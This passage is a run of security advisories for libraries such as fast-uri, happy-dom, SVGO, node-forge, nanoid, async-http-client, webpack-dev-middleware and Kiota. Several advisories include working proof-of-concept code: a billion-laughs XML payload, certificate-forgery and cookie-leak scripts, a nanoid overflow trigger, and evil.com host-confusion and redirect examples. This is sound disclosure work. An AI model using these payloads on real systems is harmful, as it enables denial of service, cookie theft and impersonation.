how `max` already behaves. The defaults sit well above any realistic expansion, so legitimate input is unaffected. ### Workarounds If upgrading is not immediately possible, avoid passing untrusted input to `expand()` or to glob brace patterns, or pass an explicitly small `max` **and** `maxLength`. Note that a small `maxLength` alone was not sufficient on affected versions: it was applied per alternative rather than cumulatively, which is the root of the first issue above. ### Credits The memory-exhaustion bypass was reported by Alessio Della Libera, CEO & Co-founder at [Numyra](https://numyra.ai/). The sequence-generation issue was found while verifying that report.
### Impact `fast-uri` v4.1.0 and earlier do not treat a literal backslash (U+005C) as an authority delimiter. Node's native WHATWG `URL` (used by `fetch()`, `undici`, and Node's `http`/`https` clients) normalizes `\` to `/` for special schemes (`http`, `https`, `ws`, `wss`, `ftp`, `file`), so the two parsers extract different hosts from the same input string. For example, `http://evil.com\@allowed.com` is treated by `fast-uri` as host `allowed.com` with userinfo `evil.com\`, while Node's WHATWG URL parser and `fetch()` see host `evil.com` with path `/@allowed.com`. Applications that use `fast-uri` to enforce host-based policy (allowlists, denylists, loopback/SSRF filtering, redirect validation, outbound proxy routing) before passing the same URL into Node's URL or `fetch()` consumers see a policy/use desync and can be steered to an unintended destination, including cloud metadata endpoints, loopback, or internal hosts. ### Patches Upgrade to `fast-uri` v4.1.1, v3.1.4, or v2.4.3. ### Workarounds None. Upgrade to the patched version.
### Impact `fast-uri` v3.1.1 and earlier decodes percent-encoded authority delimiters (`%40` as `@`, `%3A` as `:`) inside the host component and serializes them back as raw characters. This changes the URI structure, turning a hostname into userinfo plus a different host. For example, `http://trusted.com%40evil.com/` normalizes to `http://trusted.com@evil.com/`, which reparses as host `evil.com` with userinfo `trusted.com`. Applications that normalize untrusted URLs before host allowlist checks, redirect validation, or outbound request routing can be steered to a different authority than the original URL appeared to contain. ### Patches Upgrade to `fast-uri` >= 3.1.2, or if you are in the v2.x release line, v2.4.1 ### Workarounds None. Upgrade to the patched version.
Allocation of resources without limits or throttling in the HTTP/2 HPACK decoder in Apache HttpComponents Core (5.4.2 and earlier, 5.5-beta1 and earlier) allows an remote attacker to cause a denial of service through memory exhaustion by sending oversized compressed header blocks before the HTTP/2 SETTINGS acknowledgement causes the configured header list size limit to be applied.
### Impact A vulnerability in compression `< 1.8.2` allows an attacker to trigger a Denial of Service (DoS) by disconnecting while a compressed response is being sent. When the client aborts the connection before the response finishes, the zlib stream created to compress that response is never destroyed, so each aborted compressed response leaks its native zlib memory. Repeated aborted requests can exhaust available memory. All applications using compression are affected. ### Patches Users should upgrade to `1.8.2`. ### Workarounds None.
### Summary `happy-dom` may attach cookies from the current page origin (`window.location`) instead of the request target URL when `fetch(..., { credentials: "include" })` is used. This can leak cookies from origin A to destination B. ### Details In [`packages/happy-dom/src/fetch/utilities/FetchRequestHeaderUtility.ts`](https://github.com/capricorn86/happy-dom/blob/f8d8cad41e9722fab9eefb9dfb3cca696462e908/packages/happy-dom/src/fetch/utilities/FetchRequestHeaderUtility.ts) (`getRequestHeaders()`), cookie selection is performed with `originURL`: ```ts const originURL = new URL(options.window.location.href); const isCORS = FetchCORSUtility.isCORS(originURL, options.request[PropertySymbol.url]); // ... const cookies = options.browserFrame.page.context.cookieContainer.getCookies( originURL, false ); ``` Here, `originURL` represents the page URL, not the request destination URL. For outgoing requests, cookie lookup should use the request URL (for example: `new URL(options.request[PropertySymbol.url])`). ### PoC Script Content ```javascript const http = require('http'); const dns = require('dns').promises; const { Browser } = require('happy-dom'); async function listen(server, host) { return new Promise((resolve) => server.listen(0, host, () => resolve(server.address().port))); } async function run() { let observedCookieHeader = null; const pageHost = process.env.PAGE_HOST || 'a.127.0.0.1.nip.io'; const apiHost = process.env.API_HOST || 'b.127.0.0.1.nip.io'; console.log('=== PoC: Wrong Cookie Source URL in credentials:include ==='); console.log('Setup:'); console.log(` Page Origin Host : ${pageHost}`); console.log(` Request Target Host: ${apiHost}`); console.log(' (both resolve to 127.0.0.1 via public wildcard DNS)'); console.log(''); await dns.lookup(pageHost); await dns.lookup(apiHost); const pageServer = http.createServer((req, res) => { res.writeHead(200, { 'content-type': 'text/plain' }); res.end('page host'); }); const apiServer = http.createServer((req, res) => { observedCookieHeader = req.headers.cookie || ''; const origin = req.headers.origin || ''; res.writeHead(200, { 'content-type': 'application/json', 'access-control-allow-origin': origin, 'access-control-allow-credentials': 'true' }); res.end(JSON.stringify({ ok: true })); }); const pagePort = await listen(pageServer, '127.0.0.1'); const apiPort = await listen(apiServer, '127.0.0.1'); const browser = new Browser(); try { const context = browser.defaultContext; // Page host: pageHost (local DNS) const page = context.newPage(); page.mainFrame.url = `http://${pageHost}:${pagePort}/dashboard`; page.mainFrame.window.document.cookie = 'page_cookie=PAGE_ONLY'; // Target host: apiHost (local DNS) const apiSeedPage = context.newPage(); apiSeedPage.mainFrame.url = `http://${apiHost}:${apiPort}/seed`; apiSeedPage.mainFrame.window.document.cookie = 'api_cookie=API_ONLY'; // Trigger cross-host request with credentials. const res = await page.mainFrame.window.fetch(`http://${apiHost}:${apiPort}/data`, { credentials: 'include' }); await res.text(); const leakedPageCookie = observedCookieHeader.includes('page_cookie=PAGE_ONLY'); const expectedApiCookie = observedCookieHeader.includes('api_cookie=API_ONLY'); console.log('Expected:'); console.log(' Request to target host should include "api_cookie=API_ONLY".'); console.log(' Request should NOT include "page_cookie=PAGE_ONLY".'); console.log(''); console.log('Actual:'); console.log(` request cookie header: "${observedCookieHeader || '(empty)'}"`); console.log(` includes page_cookie: ${leakedPageCookie}`); console.log(` includes api_cookie : ${expectedApiCookie}`); console.log(''); if (leakedPageCookie && !expectedApiCookie) { console.log('Result: VULNERABLE behavior reproduced.'); process.exitCode = 0; } else { console.log('Result: Vulnerable behavior NOT reproduced in this run/version.'); process.exitCode = 1; } } finally { await browser.close(); pageServer.close(); apiServer.close(); } } run().catch((error) => { console.error(error); process.exit(1); }); ``` Environment: 1. Node.js >= 22 2. `happy-dom` 20.6.1 3. DNS names resolving to local loopback via `*.127.0.0.1.nip.io` Reproduction steps: 1. Set page host cookie: `page_cookie=PAGE_ONLY` on `a.127.0.0.1.nip.io` 2. Set target host cookie: `api_cookie=API_ONLY` on `b.127.0.0.1.nip.io` 3. From page host, call fetch to target host with `credentials: "include"` 4. Observe `Cookie` header received by the target host Expected: 1. Include `api_cookie=API_ONLY` 2. Do not include `page_cookie=PAGE_ONLY` Actual (observed): 1. Includes `page_cookie=PAGE_ONLY` 2. Does not include `api_cookie=API_ONLY` Observed output: ```text === PoC: Wrong Cookie Source URL in credentials:include === Setup: Page Origin Host : a.127.0.0.1.nip.io Request Target Host: b.127.0.0.1.nip.io (both resolve to 127.0.0.1 via public wildcard DNS) Expected: Request to target host should include "api_cookie=API_ONLY". Request should NOT include "page_cookie=PAGE_ONLY". Actual: request cookie header: "page_cookie=PAGE_ONLY" includes page_cookie: true includes api_cookie : false Result: VULNERABLE behavior reproduced. ``` ### Impact Cross-origin sensitive information disclosure (cookie leakage). Impacted users are applications relying on `happy-dom` browser-like fetch behavior in authenticated/session-based flows (for example SSR/test/proxy-like scenarios), where cookies from one origin can be sent to another origin.
SslClientHelloHandler.decode() reads the 24-bit TLS handshake length and, when the ClientHello does not fit in the first record, eagerly allocates `ctx.alloc().buffer(handshakeLength)` (line 161). The guard at line 140 is `handshakeLength > maxClientHelloLength && maxClientHelloLength != 0`, and the commonly-used SniHandler/AbstractSniHandler constructors (SniHandler(Mapping), SniHandler(AsyncMapping), AbstractSniHandler()) pass maxClientHelloLength=0 and handshakeTimeoutMillis=0, so the length guard is disabled and no timeout is scheduled. A 16 MiB request exceeds the default pooled chunk size and becomes a huge/unpooled allocation performed immediately. The buffer is retained in the handler until the channel closes.
### Summary SVGO accepts XML with custom entities, without guards against entity expansion or recursion. This can result in a small XML file (811 bytes) stalling the application and even crashing the Node.js process with `JavaScript heap out of memory`. ### Details The upstream XML parser ([sax](https://www.npmjs.com/package/sax)) doesn't interpret custom XML entities by default. We pattern matched custom XML entities from the `DOCTYPE`, inserting them into `parser.ENTITIES`, and enabled `unparsedEntities`. This gives us the desired behavior of supporting SVGs with entities declared in the `DOCTYPE`. However, entities can reference other entities, which can enable small SVGs to explode exponentially when we try to parse them. #### Proof of Concept ```js import { optimize } from 'svgo'; /** Presume that this string was obtained in some other way, such as network. */ const original = ` <?xml version="1.0"?> <!DOCTYPE lolz [ <!ENTITY lol "lol"> <!ELEMENT lolz (#PCDATA)> <!ENTITY lol1 "&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;"> <!ENTITY lol2 "&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;"> <!ENTITY lol3 "&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;"> <!ENTITY lol4 "&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;"> <!ENTITY lol5 "&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;"> <!ENTITY lol6 "&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;"> <!ENTITY lol7 "&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;"> <!ENTITY lol8 "&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;"> <!ENTITY lol9 "&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;"> ]> <lolz>&lol9;</lolz> `; optimize(original); ``` ### Impact If SVGO is run on untrusted input (i.e., user uploaded to server-side application), then the untrusted SVG can effectively stall or crash the application with an SVG < 1 KB in size. It's unlikely to impact users who just use SVGO locally on their own SVGs or in build pipelines. ### Patches SVGO has patched v4.0.1, v3.3.3, and v2.8.1! However, it's strongly recommended to upgrade to v4 regardless, as previous versions are not officially supported anymore. ### Workarounds #### == 4.0.0 For v4, users do not specifically have to upgrade SVGO, though it is recommended to do so. A package manager can be used to upgrade sax recursively: For example: ```sh yarn up -R sax ``` New options were introduced upstream which makes the way SVGO parses SVGs safe by default. #### >= 2.1.0, <= 3.3.2 Users of v3 and v2 will have to take manual action. If users can't upgrade, they may be able to work around this as long as the project doesn't require support for custom XML entities, though it's not a simple flag. Parse the DOCTYPE directly and check for the presence of custom entities. If entities are present, throw/escape before passing them to SVGO. ```diff + import SAX from 'sax'; import { optimize } from 'svgo'; - const original =` + let original = ` <?xml version="1.0"?> <!DOCTYPE lolz [ <!ENTITY lol "lol"> <!ELEMENT lolz (#PCDATA)> <!ENTITY lol1 "&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;"> <!ENTITY lol2 "&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;"> <!ENTITY lol3 "&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;"> <!ENTITY lol4 "&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;"> <!ENTITY lol5 "&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;"> <!ENTITY lol6 "&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;"> <!ENTITY lol7 "&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;"> <!ENTITY lol8 "&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;"> <!ENTITY lol9 "&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;"> ]> <lolz>&lol9;</lolz> `; + const parser = SAX.parser(); + /** @param {string} doctype */ + parser.ondoctype = (doctype) => { + original = original.replace(doctype, ''); + } + parser.write(original); optimize(original); ``` ### Resources * [Wikipedia: Billion laughs attack](https://en.wikipedia.org/wiki/Billion_laughs_attack)
Prototype pollution attack when using _.zipObjectDeep in lodash before 4.17.20.
Improper Authentication in Elasticsearch PKI realm can lead to user impersonation via specially crafted client certificates. A malicious actor would need to have such a crafted client certificate signed by a legitimate, trusted Certificate Authority.
Hostname verification in Apache ZooKeeper ZKTrustManager falls back to reverse DNS (PTR) when IP SAN validation fails, allowing attackers who control or spoof PTR records to impersonate ZooKeeper servers or clients with a valid certificate for the PTR name. It's important to note that attacker must present a certificate which is trusted by ZKTrustManager which makes the attack vector harder to exploit. Users are recommended to upgrade to version 3.8.6 or 3.9.5, which fixes this issue by introducing a new configuration option to disable reverse DNS lookup in client and quorum protocols.
When using an IPv6 allow-list for the Auth Proxy feature, it defaults to /32 addresses. Addresses specifying a mask explicitly are not affected; to mitigate easily, add the desired mask (usually /128) to the addresses. Only auth proxy is affected; Okta, SAML, LDAP, etc are unaffected here.
The AsyncHttpClient (AHC) library allows Java applications to easily execute HTTP requests and asynchronously process HTTP responses. Versions on the 2.x branch prior to 2.15.0 and the 3.x branch prior to 3.0.10 leak `Cookie` headers to cross-origin redirect targets. When following a redirect to a different origin, the `propagatedHeaders()` method in `Redirect30xInterceptor.java` strips `Authorization` and `Proxy-Authorization` headers but does not strip the `Cookie` header, causing session cookies and other sensitive cookie values to be sent to attacker-controlled servers. Versions 2.15.0 and 3.0.10 patch the issue.
nanoid is a secure, URL-friendly, unique string ID generator for JavaScript. Prior to versions 3.3.12 and 5.1.11, the nanoid(size) function in index.js and index.cjs coerces the user-influenced size parameter to a signed 32-bit integer, allowing a value of 2147483648 to become -2147483648 and corrupt the process-wide CSPRNG poolOffset in fillPool(), which causes subsequent session tokens, CSRF tokens, API keys, and unique identifiers to become the deterministic string "uuuuuuuuuuuuuuuuuuuuu" until the process restarts. This issue is fixed in versions 3.3.12 and 5.1.11.
## Summary `pki.verifyCertificateChain()` does not enforce RFC 5280 basicConstraints requirements when an intermediate certificate lacks both the `basicConstraints` and `keyUsage` extensions. This allows any leaf certificate (without these extensions) to act as a CA and sign other certificates, which node-forge will accept as valid. ## Technical Details In `lib/x509.js`, the `verifyCertificateChain()` function (around lines 3147-3199) has two conditional checks for CA authorization: 1. The `keyUsage` check (which includes a sub-check requiring `basicConstraints` to be present) is gated on `keyUsageExt !== null` 2. The `basicConstraints.cA` check is gated on `bcExt !== null` When a certificate has **neither** extension, both checks are skipped entirely. The certificate passes all CA validation and is accepted as a valid intermediate CA. **RFC 5280 Section 6.1.4 step (k) requires:** > "If certificate i is a version 3 certificate, verify that the basicConstraints extension is present and that cA is set to TRUE." The absence of `basicConstraints` should result in rejection, not acceptance. ## Proof of Concept ```javascript const forge = require('node-forge'); const pki = forge.pki; function generateKeyPair() { return pki.rsa.generateKeyPair({ bits: 2048, e: 0x10001 }); } console.log('=== node-forge basicConstraints Bypass PoC ===\n'); // 1. Create a legitimate Root CA (self-signed, with basicConstraints cA=true) const rootKeys = generateKeyPair(); const rootCert = pki.createCertificate(); rootCert.publicKey = rootKeys.publicKey; rootCert.serialNumber = '01'; rootCert.validity.notBefore = new Date(); rootCert.validity.notAfter = new Date(); rootCert.validity.notAfter.setFullYear(rootCert.validity.notBefore.getFullYear() + 10); const rootAttrs = [ { name: 'commonName', value: 'Legitimate Root CA' }, { name: 'organizationName', value: 'PoC Security Test' } ]; rootCert.setSubject(rootAttrs); rootCert.setIssuer(rootAttrs); rootCert.setExtensions([ { name: 'basicConstraints', cA: true, critical: true }, { name: 'keyUsage', keyCertSign: true, cRLSign: true, critical: true } ]); rootCert.sign(rootKeys.privateKey, forge.md.sha256.create()); // 2. Create a "leaf" certificate signed by root — NO basicConstraints, NO keyUsage // This certificate should NOT be allowed to sign other certificates const leafKeys = generateKeyPair(); const leafCert = pki.createCertificate(); leafCert.publicKey = leafKeys.publicKey; leafCert.serialNumber = '02'; leafCert.validity.notBefore = new Date(); leafCert.validity.notAfter = new Date(); leafCert.validity.notAfter.setFullYear(leafCert.validity.notBefore.getFullYear() + 5); const leafAttrs = [ { name: 'commonName', value: 'Non-CA Leaf Certificate' }, { name: 'organizationName', value: 'PoC Security Test' } ]; leafCert.setSubject(leafAttrs); leafCert.setIssuer(rootAttrs); // NO basicConstraints extension — NO keyUsage extension leafCert.sign(rootKeys.privateKey, forge.md.sha256.create()); // 3. Create a "victim" certificate signed by the leaf // This simulates an attacker using a non-CA cert to forge certificates const victimKeys = generateKeyPair(); const victimCert = pki.createCertificate(); victimCert.publicKey = victimKeys.publicKey; victimCert.serialNumber = '03'; victimCert.validity.notBefore = new Date(); victimCert.validity.notAfter = new Date(); victimCert.validity.notAfter.setFullYear(victimCert.validity.notBefore.getFullYear() + 1); const victimAttrs = [ { name: 'commonName', value: 'victim.example.com' }, { name: 'organizationName', value: 'Victim Corp' } ]; victimCert.setSubject(victimAttrs); victimCert.setIssuer(leafAttrs); victimCert.sign(leafKeys.privateKey, forge.md.sha256.create()); // 4. Verify the chain: root -> leaf -> victim const caStore = pki.createCaStore([rootCert]); try { const result = pki.verifyCertificateChain(caStore, [victimCert, leafCert]); console.log('[VULNERABLE] Chain verification SUCCEEDED: ' + result); console.log(' node-forge accepted a non-CA certificate as an intermediate CA!'); console.log(' This violates RFC 5280 Section 6.1.4.'); } catch (e) { console.log('[SECURE] Chain verification FAILED (expected): ' + e.message); } ``` **Results:** - Certificate with NO extensions: **ACCEPTED as CA** (vulnerable — violates RFC 5280) - Certificate with `basicConstraints.cA=false`: correctly rejected - Certificate with `keyUsage` (no `keyCertSign`): correctly rejected - Proper intermediate CA (control): correctly accepted ## Attack Scenario An attacker who obtains any valid leaf certificate (e.g., a regular TLS certificate for `attacker.com`) that lacks `basicConstraints` and `keyUsage` extensions can use it to sign certificates for ANY domain. Any application using node-forge's `verifyCertificateChain()` will accept the forged chain. This affects applications using node-forge for: - Custom PKI / certificate pinning implementations - S/MIME / PKCS#7 signature verification - IoT device certificate validation - Any non-native-TLS certificate chain verification ## CVE Precedent This is the same vulnerability class as: - **CVE-2014-0092** (GnuTLS) — certificate verification bypass - **CVE-2015-1793** (OpenSSL) — alternative chain verification bypass - **CVE-2020-0601** (Windows CryptoAPI) — crafted certificate acceptance ## Not a Duplicate This is distinct from: - CVE-2025-12816 (ASN.1 parser desynchronization — different code path) - CVE-2025-66030/66031 (DoS and integer overflow — different issue class) - GitHub issue #1049 (null subject/issuer — different malformation) ## Suggested Fix Add an explicit check for absent `basicConstraints` on non-leaf certificates: ```javascript // After the keyUsage check block, BEFORE the cA check: if(error === null && bcExt === null) { error = { message: 'Certificate is missing basicConstraints extension and cannot be used as a CA.', error: pki.certificateError.bad_certificate }; } ``` ## Disclosure Timeline - 2026-03-10: Report submitted via GitHub Security Advisory - 2026-06-08: 90-day coordinated disclosure deadline ## Credits Discovered and reported by Doruk Tan Ozturk ([@peaktwilight](https://github.com/peaktwilight)) — [doruk.ch](https://doruk.ch)
Hostname verification in Apache ZooKeeper ZKTrustManager falls back to reverse DNS (PTR) when IP SAN validation fails, allowing attackers who control or spoof PTR records to impersonate ZooKeeper servers or clients with a valid certificate for the PTR name. It's important to note that attacker must present a certificate which is trusted by ZKTrustManager which makes the attack vector harder to exploit. Users are recommended to upgrade to version 3.8.6 or 3.9.5, which fixes this issue by introducing a new configuration option to disable reverse DNS lookup in client and quorum protocols.
## Summary async-http-client leaks `Cookie` headers to cross-origin redirect targets. When following a redirect across a security boundary (different origin, or HTTPS→HTTP downgrade), the `propagatedHeaders()` method in `Redirect30xInterceptor.java` strips `Authorization` and `Proxy-Authorization` headers but does not strip `Cookie`, so session cookies and other sensitive cookie values are forwarded to the redirect target — which may be attacker-controlled. ## Details The vulnerability is in `client/src/main/java/org/asynchttpclient/netty/handler/intercept/Redirect30xInterceptor.java`. The caller computes `stripAuth` on each redirect: ```java boolean sameBase = request.getUri().isSameBase(newUri); boolean stripAuth = !sameBase || schemeDowngrade || stripAuthorizationOnRedirect; // ... requestBuilder.setHeaders(propagatedHeaders(request, realm, keepBody, stripAuth)); ``` `stripAuth` is `true` whenever the redirect crosses an origin, downgrades the scheme, or the caller opted in via `AsyncHttpClientConfig#isStripAuthorizationOnRedirect()`. In the vulnerable version, `propagatedHeaders()` only removes `Authorization` and `Proxy-Authorization` in that branch — `Cookie` is left untouched: ```java private static HttpHeaders propagatedHeaders(Request request, Realm realm, boolean keepBody, boolean stripAuthorization) { HttpHeaders headers = request.getHeaders() .remove(HOST) .remove(CONTENT_LENGTH); if (!keepBody) { headers.remove(CONTENT_TYPE); } if (stripAuthorization || (realm != null && (realm.getScheme() == AuthScheme.NTLM || realm.getScheme() == AuthScheme.SCRAM_SHA_256))) { headers.remove(AUTHORIZATION) .remove(PROXY_AUTHORIZATION); // BUG: COOKIE is not removed here, so cookies leak across the security boundary. } return headers; } ``` The companion test class `RedirectCredentialSecurityTest` covers `Authorization` / `Proxy-Authorization` stripping on cross-origin redirects and scheme downgrades, but has no coverage for `Cookie`, which is why the regression went unnoticed. ## Proof of concept ```java import org.asynchttpclient.*; AsyncHttpClient client = asyncHttpClient(); // trusted-api.com responds 302 -> https://evil.com Request request = new RequestBuilder("GET") .setUrl("https://trusted-api.com/endpoint") .setHeader("Cookie", "session=abc123; csrf=xyz789; api_key=secret") .setHeader("Authorization", "Bearer token123") .build(); client.executeRequest(request).get(); // Request seen by evil.com after the redirect: // Authorization: <stripped> // Cookie: session=abc123; csrf=xyz789; api_key=secret <-- leaked ``` ## Impact - **Session hijacking** — leaked session cookies allow impersonation. - **CSRF token theft** — CSRF tokens carried in cookies are disclosed. - **API key theft** — API keys stored in cookies are disclosed. - **Privacy** — tracking identifiers leak to third-party origins. Realistic attack paths: - Open-redirect in a trusted API endpoint. - Compromised CDN or API gateway injecting redirects. - MITM on a plaintext hop in the redirect chain. ## Fix Add `COOKIE` to the headers removed alongside `AUTHORIZATION` / `PROXY_AUTHORIZATION` on the security-boundary branch: ```java if (stripAuthorization) { headers.remove(AUTHORIZATION) .remove(PROXY_AUTHORIZATION) .remove(COOKIE); } else if (realm != null && (realm.getScheme() == AuthScheme.NTLM || realm.getScheme() == AuthScheme.SCRAM_SHA_256)) { headers.remove(AUTHORIZATION) .remove(PROXY_AUTHORIZATION); } ``` Note that the URI-scoped `CookieStore` will re-add any cookies that legitimately match the new target after `propagatedHeaders` returns, so legitimate cross-origin sessions tracked by the client are not broken. Fixed in **3.0.10** and **2.15.0** by commit [`3b0e3e9e`](https://github.com/AsyncHttpClient/async-http-client/commit/3b0e3e9e).
> [!IMPORTANT] > CVE-2026-76844 was assigned and published for this issue by VulnCheck on 2026-08-24 without prior coordination with the webpack maintainers or the OpenJS Foundation, which holds the CVE Numbering Authority scope for webpack projects. Neither the maintainers nor the OpenJS CNA were notified before publication, and no fix was available at that time. This advisory is the coordinated record produced by the webpack maintainers and the OpenJS Foundation CNA. ### Impact `webpack-dev-middleware` resolves a request to a local file in `getFilenameFromUrl`. When the configured `publicPath` has no trailing slash (for example `/assets`), a request that shares that prefix without being under it (for example `/assets../secret`) still passes the containment check, and the `..` guard does not catch it because it runs on the path before the `publicPath` prefix is stripped. The stripped remainder then escapes the configured output directory once joined, so an unauthenticated request can read files outside the output root. Applications serving `webpack-dev-middleware` (directly or via `webpack-dev-server`) with a `publicPath` that does not end in a slash are affected. A development server reachable on the network can be attacked with a single request and no victim interaction. ### Patches Patched in `webpack-dev-middleware` 8.3.0. There is no backport to the 5.x, 6.x, or 7.x lines; users on those lines should upgrade to 8.3.0 or later. ### Workarounds Configure `publicPath` with a trailing slash (for example `/assets/` instead of `/assets`), or upgrade to a patched version. ### References - [CVE-2024-29180](https://www.cve.org/CVERecord?id=CVE-2024-29180) ([GHSA-wr3j-pwj9-hqq6](https://github.com/webpack/webpack-dev-middleware/security/advisories/GHSA-wr3j-pwj9-hqq6)), the earlier path traversal in the same component that this issue bypasses.
Versions of lodash prior to 4.17.19 are vulnerable to Prototype Pollution. The functions `pick`, `set`, `setWith`, `update`, `updateWith`, and `zipObjectDeep` allow a malicious user to modify the prototype of Object if the property identifiers are user-supplied. Being affected by this issue requires manipulating objects based on user-provided property values or arrays. This vulnerability causes the addition or modification of an existing property that will exist on all objects and may lead to Denial of Service or Code Execution under specific circumstances.
### Summary An integer overflow in `nanoid(size)` permanently corrupts the process-wide CSPRNG pool, causing all subsequent ID generation to return the deterministic string `"uuuuuuuuuuuuuuuuuuuuu"`. Any application that passes user-influenced values to the `size` parameter loses all randomness guarantees for session tokens, CSRF tokens, and unique identifiers until process restart. ### Details `nanoid()` at [`index.js:101`](https://github.com/ai/nanoid/blob/main/index.js#L101) coerces the `size` parameter with `size |= 0`, which converts it to a signed 32-bit integer. When `size >= 2^31` (e.g., `2147483648`), this wraps to `-2147483648`. The negative value is passed to `fillPool()` ([`index.js:15`](https://github.com/ai/nanoid/blob/main/index.js#L15)): ```javascript function fillPool(bytes) { if (!pool || pool.length < bytes) { // false: pool exists, -2B < pool.length pool = Buffer.allocUnsafe(bytes * POOL_SIZE_MULTIPLIER) crypto.getRandomValues(pool) poolOffset = 0 } else if (poolOffset + bytes > pool.length) { // false: poolOffset + (-2B) < pool.length crypto.getRandomValues(pool) poolOffset = 0 } poolOffset += bytes // poolOffset += -2147483648 → deeply negative } ``` Neither branch triggers, so the pool is never refreshed. `poolOffset` becomes ~-2.1 billion. Subsequent `nanoid()` calls execute: ```javascript for (let i = poolOffset - size; i < poolOffset; i++) { id += scopedUrlAlphabet[pool[i] & 63] } ``` `pool[negative_index]` returns `undefined`. `undefined & 63` evaluates to `0`. `urlAlphabet[0]` is `'u'`. Every ID becomes `"uuuuuuuuuuuuuuuuuuuuu"`. The corruption is **persistent** — it affects all subsequent calls in the process until ~100 million calls eventually wrap `poolOffset` back to positive, or the process restarts. ### PoC ```javascript import { nanoid } from 'nanoid' // Step 1: Normal operation console.log(nanoid()) // e.g., "V1StGXR8_Z5jdHi6B-myT" // Step 2: Trigger overflow (e.g., from an API parameter) try { nanoid(2147483648) } catch(e) {} // Step 3: All subsequent IDs are deterministic console.log(nanoid()) // "uuuuuuuuuuuuuuuuuuuuu" console.log(nanoid()) // "uuuuuuuuuuuuuuuuuuuuu" console.log(nanoid()) // "uuuuuuuuuuuuuuuuuuuuu" // ... forever, process-wide ``` Run with: `node --experimental-vm-modules poc.mjs` Attack scenario: Any API endpoint that accepts a user-controlled length/size parameter (URL shortener slug length, configurable token size, etc.) and passes it to `nanoid(userInput)`. ### Impact **Complete loss of ID unpredictability and uniqueness, process-wide, from a single request.** - All session IDs, CSRF tokens, API keys, and database identifiers generated after the attack are identical and predictable - An attacker can predict all tokens issued to other users, enabling session hijacking and authentication bypass - The corruption is persistent (survives across requests) and affects all consumers of `nanoid` in the same process - No special privileges or preconditions required — a single unauthenticated request is sufficient - Affects any application that passes external input to the `size` parameter without validation
Missing critical step in authentication in Apache HttpClient 5.6 allows an attacker to cause the client to accept SCRAM-SHA-256 authentication without proper mutual authentication verification. Users are recommended to upgrade to version 5.6.1, which fixes this issue.
Missing critical step in authentication in Apache HttpClient 5.6 allows an attacker to cause the client to accept SCRAM-SHA-256 authentication without proper mutual authentication verification. Users are recommended to upgrade to version 5.6.1, which fixes this issue.
Happy DOM is a JavaScript implementation of a web browser without its graphical user interface. Happy DOM v19 and lower contains a security vulnerability that puts the owner system at the risk of RCE (Remote Code Execution) attacks. A Node.js VM Context is not an isolated environment, and if the user runs untrusted JavaScript code within the Happy DOM VM Context, it may escape the VM and get access to process level functionality. It seems like what the attacker can get control over depends on if the process is using ESM or CommonJS. With CommonJS the attacker can get hold of the `require()` function to import modules. Happy DOM has JavaScript evaluation enabled by default. This may not be obvious to the consumer of Happy DOM and can potentially put the user at risk if untrusted code is executed within the environment. Version 20.0.0 patches the issue by changing JavaScript evaluation to be disabled by default.
The RedirectHandler middleware in microsoft/kiota-java (com.microsoft.kiota:microsoft-kiota-http-okHttp v1.9.0) and other Kiota libraries fails to strip sensitive HTTP headers when following 3xx redirects to a different host or scheme. Only the Authorization header is removed; Cookie, Proxy-Authorization, and all custom headers are forwarded to the redirect target.
### Summary The RedirectHandler middleware in microsoft/kiota-java (com.microsoft.kiota:microsoft-kiota-http-okHttp v1.9.0) and other Kiota libraries fails to strip sensitive HTTP headers when following 3xx redirects to a different host or scheme. This vulnerability is present in the RedirectHandlers for: https://github.com/microsoft/kiota-dotnet https://github.com/microsoft/kiota-java https://github.com/microsoft/kiota-python https://github.com/microsoft/kiota-typescript https://github.com/microsoft/kiota-http-go ### Details Only the Authorization header is removed; Cookie, Proxy-Authorization, and all custom headers are forwarded to the redirect target. This is the default middleware in every kiota-java HTTP client created via KiotaClientFactory.create(). OkHttp's built-in redirect handler (which handles this correctly) is explicitly disabled at line 63 of KiotaClientFactory.java in favor of kiota's broken implementation. Vulnerable code in RedirectHandler.java lines 107-116 (getRedirect method) in versions 1.90 and earlier: ``` boolean sameScheme = locationUrl.scheme().equalsIgnoreCase(requestUrl.scheme()); boolean sameHost = locationUrl.host().toString().equalsIgnoreCase(requestUrl.host().toString()); if (!sameScheme || !sameHost) { requestBuilder.removeHeader("Authorization"); // BUG: Cookie, Proxy-Authorization, and all other headers are NOT removed } ``` ### PoC 1. Clone the repository: git clone --depth 1 https://github.com/microsoft/kiota-java.git cd kiota-java 2. Create the PoC test file at: components/http/okHttp/src/test/java/com/microsoft/kiota/http/middleware/SecurityPoC.java With this content: ``` package com.microsoft.kiota.http.middleware; import static org.junit.jupiter.api.Assertions.*; import com.microsoft.kiota.http.KiotaClientFactory; import okhttp3.*; import okhttp3.mockwebserver.*; import org.junit.jupiter.api.Test; public class SecurityPoC { @Test void crossHostRedirectLeaksCookies() throws Exception { Request original = new Request.Builder() .url("http://trusted.example.com/api") .addHeader("Authorization", "Bearer token") 